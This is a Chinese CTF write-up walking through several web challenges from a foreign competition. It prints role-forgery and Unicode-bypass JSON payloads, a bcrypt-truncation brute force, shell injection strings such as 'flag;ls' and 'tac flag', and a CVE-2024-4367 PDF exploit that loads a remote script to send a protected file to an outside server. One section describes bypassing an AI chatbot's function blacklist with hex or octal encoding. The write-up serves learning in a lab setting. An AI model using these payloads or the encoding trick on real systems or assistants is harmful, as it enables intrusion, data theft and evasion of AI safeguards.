前言:
这周末打的一个国外的比赛,难度还是挺大的,感觉都是没见过的知识点,赛后自己跟着wp复现一下,学到好多新的东西国外的比赛还是有点意思的。
Escatlate (flag #1)
描述:Look! Kitties! // careful, this app is resetting every 15 mintutes 看!小猫咪!//小心,此应用每 15 分钟重置一次
考点:用户伪造
根据源码猜测估计是需要伪造admin用户和moderator用户,然后访问/api/message
得到flag,但是没法直接注册admin用户或者"role":"admin"
,会显示用户已存在。(当时伪造了半天没伪造出来)。
代码对moderator用户没有设置限制,所以先伪造moderator用户。
用bp抓包,伪造数据
1 | {"username":"TG1u","password":"123456","role":"moderator"} |
然后在请求头添加上X-Token然后访问/api/message
就可以得到flag了。(当时也不知道为啥没出来,现在试的时候就出来了也是挺玄的)
Escatlate (flag #2)
描述:Look! More kitties! // careful, this app is resetting every 15 mintutes 看!更多小猫!//小心,此应用每 15 分钟重置一次
考点:Unicode 大小写冲突、用户伪造
这题跟上面那题是一个环境,但是上一题伪造的是moderator用户,这一题需要伪造admin用户。
虽然说代码里对admin做了限制,但是这里我们可以利用Unicode大小写冲突,伪造"role":"admın"
,此时就会读取为"role":"ADMIN"
,从而实现admin用户的伪造。
具体参考:https://dev.to/jagracey/hacking-github-s-auth-with-unicode-s-turkish-dotless-i-460n
大写:
Char | Code Point | Output Char |
---|---|---|
ß | 0x00DF | SS |
ı | 0x0131 | I |
ſ | 0x017F | S |
ff | 0xFB00 | FF |
fi | 0xFB01 | FI |
fl | 0xFB02 | FL |
ffi | 0xFB03 | FFI |
ffl | 0xFB04 | FFL |
ſt | 0xFB05 | ST |
st | 0xFB06 | ST |
小写:
Char | Code Point | Output Char |
---|---|---|
K | 0x212A | k |
这里我们用ı
代替I
实现绕过。
1 | {"username":"TG1u","password":"123456","role":"admın"} |
伪造完后,跟上一题一样添加X-Token然后访问/api/message
就得到flag了。
Entropyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
描述:It’s finally here. Something everyone’s been waiting for. A service that solves the biggest problem of humanity. People passwords. They are tooooooooooo short. This service applies so much fresh organic gluten free salt to the password that even the biggest noob who has the word ‘dog’ as their password can feel safe. So much entropy that I can’t even imagine it! 它终于来了。这是每个人都期盼已久的东西。一项解决人类最大难题的服务。人的密码太短了。这项服务在密码中添加了大量新鲜有机无麸质盐,即使是密码只有“狗”字的菜鸟也能安心。熵值之高,我简直无法想象!
考点:Bcrypt算法输入长度限制漏洞
题目给了源码,直接查看。
发现登录的用户为admin,并且给出了登录的验证逻辑。当我们密码构成的$username . $entropy . $password
等于管理员密码生成的$usernameAdmin . $entropy . $passwordAdmin
时即可登录成功。
这题看似就是要输入的$password
等于$passwordAdmin
,但是其实算法存在一定的漏洞。可以看到这个计算hash的算法为password_hash里的Bcrypt算法。而这个算法存在着长度限制,最大长度 72 字节。
1 | username=admin -5个字符 |
所以密码只截取到第一位就没了,所以直接写个脚本爆破一下密码的第一位就行了。
exp:
1 | import requests |
运行后得到flag
1 | 1753c{bcrypt_d0esn7_1ik3_v3ry_10ng_p455w0rd5} |
Safebox
描述:Your files. Encrypted at rest. Premium accounts available soon. // careful, this app is resetting every 15 mintutes您的文件。静态加密。高级帐户即将推出。// 注意,此应用每 15 分钟重置一次
考点:未授权访问文件、流加密XOR攻击
首先先来看一下源码
可以发现一个获取flag的逻辑,admin用户上传了一个flag.txt
再继续往下看,下面有一个文件路径的构造逻辑
将用户名进行SHA256算法哈希加密后当作目录,然后拼接上基础上传目录(uploadsDir
)
uploadsDir的定义在上面为files
所以完整文件读取目录应该为
1 | /files/SHA256(username)/filename |
自己创建一个账号尝试一下上传一个文件
然后上传文件
1 | {"fileName":"1.php","b64file":"YWFhYWFhYWFbYWFbYWFbYWFbYWFbYWFbYWFbYWFbYQ=="} |
读取文件
1 | /files/1a3951f9ef701d1c81bb8e810913f7bb16365fec8a3b94f3778bb2cf64f49c2c/1.php |
明白了读取文件的逻辑,接下来就是直接读取flag.txt了(这里本来我还以为要伪造admin用户的x-token,结果发现直接就能读取了)
1 | /files/8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918/flag.txt |
但是发现读出来的是二进制的(当时打到这里不知道该咋个打了),看了wp发现需要将其转为base64然后再获取到key进行异或运算。
发送到decoder进行base64加密
回到源码中,找到加密的逻辑
使用Node.js中的crypto模块实现的AES-256-OFB
模式加密函数,并且在加密中都使用恒定的key和IV
相同IV下,流加密模式(OFB/CTR)会暴露密钥流(web狗表示好难懂,问了波ai原理)
1 | 密文 -ciphertext/ciphertext' |
当我们传入的plaintext' = 0x00...00
1 | ciphertext' = plaintext' ⊕ keystream |
得到的ciphertext'
就是keystream
本身.
了解了流加密攻击的原理,我们接下来就是要获取keystream
,也就是需要上传一个全零的文件。
用脚本生成文件内容全为\x00
的内容并且进行base64编码。
1 | import base64 |
将得到的密文进行base64编码
1 | xoNs0TMq/fuPRKR/8NEBFBnZ1lfOTRw4cuM6OToC/dz1ehRdFrWSwIh6pJqkcGI+2GFomtEAsY1nQPXv0RavRBWpu1kBaibH56/wygZs9H1cx+lRtU/ezzRR3VjxkxCFSo47LV9F+rYb41UZAIb8f3JBlLL2PU0tazPNhy0HUuiigZ2iek5VbtDxU2Wy15hAC8KFQx7vlvsUX95zn9IkcarBxYxJrhIhqVbgOiKG3CzPUDcHt9znhXebVgAQxsMIkQmRb4hUM3ggGTzV8Tmr2t1Q9r6kGntu8WtBTbYeUaySKkCDgs+5cxWw1sIb9ElPEUVG4QpBvXfT7d72f9uefUlswAFtYcZvf4rdp6XuFcSogZvjQE0LeQNw8ZdYaO+DRX1/K67p7kZFZeFuYXlxUUvNt/CLFQLB0ILtBnmnsDv8MgcN3hYb7KeMiCKyJWAXDKsUshoka69mkuiQO2AON5V3IZc1ankkW3wPU669Ivlqg4G79wLuVlOZlu9IwOynyLP6cwHcJ0HE5NerHkFdkU9DqtC8f2svtWv7QbBMtoCudAxdxVu7XODhggTRLIqVdLM8XUlo0kn34Da1Yfvg8avlCZwPoKwyr0ygQq+7kCFzOo8/kSnew9MIl7c25cOzICor72Ysze/sJu/lWQtrvLGpKfrl1/hxjrBJayAD0RFXCdxfNzzLe3Y8pbr10KacEzwFBfVFtCpA0Q4/PYNsSsjxAqeeCEZ2ZU8KJ9RP/zAH0xDxNvI7jpsC61Xi15/3s3GLgam504sYyXAuGdlMsU0PUO+UelTrBAjX2Oq/D0e/hIVH1pViE9kHuo72N2FjLSI2/bAxkv7P2ULH50GaBAUZdhQIcE4usXz/62ZRq1hjRRPFhzuGV/pjSG2u2eFOqnqyFdpwa4rCtyr6SnaLrYTV5pjEBIU8RMCEGIylSJrVeZIr8tVhU4cZ7+KIMUltJ/ITN3txOi22C3A31bzsau7aWXbuuGBOfuuT/ClG2RgxiCZbbM0MlmYD6eRTxsHr1jT1XcJOCU/dQbgty1APRKCx7F6hlbhYTC8Epfh2AFjS6xbMzs79WbxY7jegPYdCDsm+r0eIFXwoxtWg9pjOeXbfDc8XY9AtrD50Q7lfpj9N+RsfFKLF7B21BIbZPImLke3vOx8XBIhwdor9+E/WVw3DSLBZfPMwzbHnt16nTT4pQk2ZRoMMpeLQwQwj25IQWEJl9dbFhQTn0dos4+gfRUADtnHKoU+2d3vMogbRyMrDBQ== |
将flag.txt
进行base64编码后的内容放入到CyberChef中进行base64解密+配合base64加密的密钥流进行XOR解密,然后就得到flag了。
Vibe Coding
描述:Turns out this is the way to go. AI codin’ when you vibin’. Can you ask Zenek to call getFlag() function for you?看来这才是正道。AI 代码就在你振动的时候。你能不能让 Zenek 帮你调用 getFlag() 函数?
考点:ai欺骗
之前24年打国内的一个比赛的时候也碰到过一题,但是忘记是那题,感觉ai欺骗还是挺有意思的但是就是有点玄学有时候能骗到有时候骗不到。
但是这题复现的时候不知道是咋回事,弹窗I am not a human, but you should be!,然后就加载半天不出来。所以我就没接着复现了。
但是这种题我感觉有一个套路就是——虽然说他会禁用你不能直接明显的打出黑名单里的函数或者flag之类的,但是我们可以通过16进制、8进制等编码绕过实现ai欺骗的手段。
Free Flag
描述:Well, this task worked for me before the CTF, but now it seems to be broken. I will fix it on Monday, I promise.嗯,这个任务在CTF之前我还能用,但现在好像出问题了。我保证周一会修好。
考点:社工、日期爆破
进入后发现直接就得到flag了,但是这个flag是错误的。查看源代码可以发现这个flag生成的逻辑。
可以看到当前的flag是动态生成的,依赖于运行时的时区和时间。
将时区、日期和时间拼接在一起计算MD5哈希值,然后与flag数组里的每个字节进行XOR,然后转换成字符,从而生成flag。
用bp抓包的话就可以看到获取到时区、日期和时间。
当时打的时候一点头绪都没有,赛后看了wp发现需要对时区、日期和时间进行爆破从而得到正确的flag。
对1753c团队进行社工,进入他们的官网发现是波兰语,说明应该是来自波兰的团队。所以时区设置应该为Europe/Warsaw
。接下去我们就只需要爆破时间跟日期就可以了。
日期的话先设置比赛前一个月以内的进行爆破看看(不行的话接着扩范围)。写一个脚本进行爆破。
1 | import hashlib |
运行后会生成一堆flag,找到最有可能是flag的提交就正确了(找的我眼睛都花了)
最后在2个月的范围的时候爆破出来
1 | 1753c{see_i_told_you_it_was_working_b4} |
Do Not Cheat
描述:I’ve prepared a set of useful cheatsheets. This might be helpful for any hacker.我准备了一套实用的速查表,或许对任何黑客都有帮助。
考点:控制台查看版本信息、CVE-2024-4367
本来我还以为这题是要文件包含找一些敏感信息啥的,结果发现只能读那几个pdf文件。赛后打也没啥思路就直接看wp了。同时,在这里感谢包师傅的鼎立相助,帮我解决了好多疑惑。
查看一下源代码发现有一个flag.pdf
但是被注释了,说明只有管理员才能读到。
用控制台抓到可以看到该网站使用网站使用pdfjs-dist@4.1.392
搜索一下就可以知道该版本存在CVE-2024-4367
先在自己的github上生成一个github.io
作为站点用于后面放置poc.js
和poc.pdf
注意:这里我直接用python起http的话js文件没法执行,用我博客的https也不行,我猜测估计跟SSL有关,所以这里直接用github的https就执行成功了(可以先弹窗试试)
利用CVE-2024-4367-PoC可以生成恶意的PDF
1 | python3 CVE-2024-4367.py "var s=document.createElement('script');s.src='https://tg1u.github.io/poc.js';document.body.append(s)" |
将生成后的poc.pdf
上传至tg1u.github.io
。
将poc.js
也上传至tg1u.github.io
1 | (function(){ |
解释一下这个js文件的作用,就是我们可以通过对网站进行抓包,我们可以看到这个网站设置CORS标头。
既然网站设置了CORS标头,就说明这个网站是允许使用fetch命令从任何网站下载,所以我们这里的js文件就是实现这样一个操作,通过执行js文件将
flag.pdf
通过fetch命令下载到自己的服务器里。由于这个js内容太长了没法直接加载到生成恶意pdf的命令里,所以利用远程执行js的方法
1 https://tg1u.github.io/poc.js
然后document可以远程读取poc.pdf
。直接访问我们的poc.pdf
1 | ?document=https://tg1u.github.io/poc.pdf |
这里一开始没有返回json数据。后面发现需要自己添加CORS请求头。
1 | Content-Type: text/html;charset=utf-8 |
如果最后接收使用的是webhook.site的话,就直接在编辑那里添加就行
但是这里出现了个情况,下不到flag.pdf
。
直接返回Access denied。。。
问了波包师傅,他说就是这么打的但是他的打通了,感觉有可能是环境的问题。(这题跟cookie有点关系感觉有可能是只有注册的用户才能打的通,跟上面那题ai同理可能。本来还以为是webhook.site
没充钱的问题还跟我师兄借了个有SSL证书的网站来打,唉。。。)
偷偷粘个flag.pdf
,假装自己打通了。
Fortune
描述:This website use state of the art AI algorithm to find wisdom that fits your needs! Now it’s gonna be easy!本网站采用先进的人工智能算法,助您找到符合您需求的智慧!现在一切都变得轻而易举!
考点:接口处命令执行
查看源代码的时候可以看到抓取名言类别依赖WASM
查看fortune_api.js
,可以发现加载的wasm文件
直接访问就可以下载了
用ida打开这个文件
啥也没发现就发现了这个三个api接口
1 | /api/v1.05.1753/categories |
用bp抓包的话可以发现当我们生成名言的时候会调用这两个接口,所以猜测应该是用于名言的分类的。
第三个api感觉想是用来验证flag的,先随便访问/api/v1.03.410/verify-my-flag/flag
看看
但是也就得到了一个{"result":"Nope."}
,看了下wp发现居然可以命令执行。。。
1 | /api/v1.03.410/verify-my-flag/flag;ls |
直接抓取flag看看
1 | /api/v1.03.410/verify-my-flag/flag;tac flag |
但是发现得到的并不是flag,而是不知道是啥的内容,问了波ai说是可能是elf文件,但是\u0000
等是Unicode控制字符,可能是二进制数据被错误解释为文本的结果。
抓一下index.js
看一下逻辑(用ai帮我美化了一下代码)
1 | const express = require('express'); |
关键的点在/api/v1.03.410/verify-my-flag/:secret
这个路由,用于验证用户提供的secret
是否正确,并返回执行结果(猜测可能是真正的flag)。所以flag这个二进制文件应该是用于验证真正flag的。
将flag用base64编码导出
1 | /api/v1.03.410/verify-my-flag/flag;base64 flag |
利用CyberChef可以base64解密后将文件导出。(可以发现这确实就是个elf文件)
后面就是re佬的活了,web狗表示打不出来了。。。